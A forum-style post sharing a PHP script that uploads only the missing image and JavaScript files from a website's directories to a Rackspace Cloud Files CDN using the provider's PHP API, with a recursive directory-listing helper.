I am currently uploading with PHP and using the provided API.
Here is my solution how to make it fast:
I'm uploading only missing files using simple PHP script below. Thanks to it I do it in just one click and in just a few seconds.
PHP source code:
function UploadMissingFilesToRackFileCDN($file_paths_to_upload, $b_force_upload = false)
{
include_once("cloudfiles.php");
// Connect to Rackspace
$username = cloudfile_username; // username
echo "Connecting to CDN..." . date("H:i:s") . "<br>"; ob_flush();
$key = cloudfile_api_key; // api key
$auth = new CF_Authentication($username, $key);
$auth->authenticate();
$conn = new CF_Connection($auth);
echo " Connected!" . date("H:i:s") . "<br>"; ob_flush();
// Get the container we want to use
$container_name = 'vladonai';//'test_container';
echo "Obtaining container $container_name..." . date("H:i:s") . "<br>"; ob_flush();
$container = $conn->get_container($container_name);
echo " The container is obtained." . date("H:i:s") . "<br>"; ob_flush();
if (!$b_force_upload)
{
echo "Receiving container objects list..." . date("H:i:s") . "<br>"; ob_flush();
$existing_object_names = $container->list_objects();
$existing_files_count = count($existing_object_names);
echo " Objects list obtained: $existing_files_count." . date("H:i:s") . "<br>"; ob_flush();
$existing_object_names_text .= "\r\n";
foreach ($existing_object_names as $obj_name)
{
$existing_object_names_text .= $obj_name . "\r\n";
}
}
// upload files to Rackspace
$uploaded_file_n = 0;
$skipped_file_n = 0;
$errors_count = 0;
foreach ($file_paths_to_upload as $localfile_path => $file_info)
{
$filename = basename($localfile_path);
if (!file_exists($localfile_path))
{
echo "<font color=red>Error! File $localfile_path doesn't exists!</font>" . date("H:i:s") . "<br>"; ob_flush();
$errors_count ++;
} else
if (is_dir($localfile_path))
{
//simply skip it
} else
if (strpos($existing_object_names_text, "\r\n" . $filename . "\r\n") !== false)
{
//file is already uploaded to CDN (at least file name is present there). Would be good to have date/size checked, but CDN api has no such feature
//echo "<font color=gray>Skipped file $localfile_path - it already exists!</font><br>"; ob_flush();
$skipped_file_n ++;
} else
{
echo "<font color=green>Uploading file $localfile_path (file #$uploaded_file_n)..." . date("H:i:s") . "</font><br>"; ob_flush();
try
{
$object = $container->create_object($filename);
$object->load_from_filename($localfile_path);
$uploaded_file_n ++;
}
catch (Exception $e)
{
echo "<font color=red>Error! Caught exception: ", $e->getMessage(), " on uploading file <strong>$localfile_path</strong>!</font>" . date("H:i:s") . "<br>"; ob_flush();
$errors_count ++;
}
}
// if ($uploaded_file_n >= 10)
// break;
}
echo "Done! $uploaded_file_n files uploaded. Disconnecting :)" . date("H:i:s") . "<br>"; ob_flush();
echo "Skipped files: $skipped_file_n<br>"; ob_flush();
if ($errors_count > 0)
echo "<font color=red>Erorrs: $errors_count</font><br>"; ob_flush();
}
function UploadChangedImagesToRackFileCDN($b_force_upload = false)
{
$exclude = array
(
'.',
'..',
'*.html',
'*.htm',
'*.php',
'*.csv',
'*.log',
'*.txt',
'*.cfg',
//'*sub/forum/files/*',
);
$files_array_images = get_dirlist("/var/www/html/vladonai.com/images/", '*', $exclude, false);
$files_array = array_merge(get_dirlist("/var/www/html/vladonai.com/js/", '*', $exclude, false), $files_array_images);
UploadMissingFilesToRackFileCDN($files_array, $b_force_upload);
}
function get_dirlist($path, $match = '*', $exclude = array( '.', '..' ), $b_short_path = true)
{
$result = array();
if (($handle = opendir($path)))
{
while (false !== ($fname = readdir($handle)))
{
$skip = false;
if (!empty($exclude))
{
if (!is_array($exclude))
{
$skip = fnmatch($exclude, $fname) || fnmatch($exclude, $path . $fname);
} else
{
foreach ($exclude as $ex)
{
if (fnmatch($ex, $fname) || fnmatch($ex, $path . $fname))
$skip = true;
}
}
}
if (!$skip && (empty($match) || fnmatch($match, $fname)))
{
$file_full_path_and_name = $path . $fname;
//echo "$file_full_path_and_name<br>";
$b_dir = is_dir($file_full_path_and_name);
$b_link = is_link($file_full_path_and_name);
$file_size = ($b_dir || $b_link) ? 0 : filesize($file_full_path_and_name);
$file_mod_time = ($b_dir || $b_link) ? 0 : filemtime($file_full_path_and_name);
$new_result_element = array();
if ($b_short_path)
$file_name = str_replace("/var/www/html/vladonai.com/", "", $file_full_path_and_name);//'[' . str_replace("/var/www/html/vladonai.com/", "", $file_full_path_and_name) . ']';
else
$file_name = $file_full_path_and_name;
$result[$file_name] = array();
$result[$file_name]['size'] = $file_size;
$result[$file_name]['modtime'] = $file_mod_time;
if ($b_dir && !$b_link)
{
//recursively enumerate files in sub-directories
$result = array_merge(get_dirlist($file_full_path_and_name . "/", $match, $exclude, $b_short_path), $result);
}
}
}
closedir($handle);
}
return $result;
}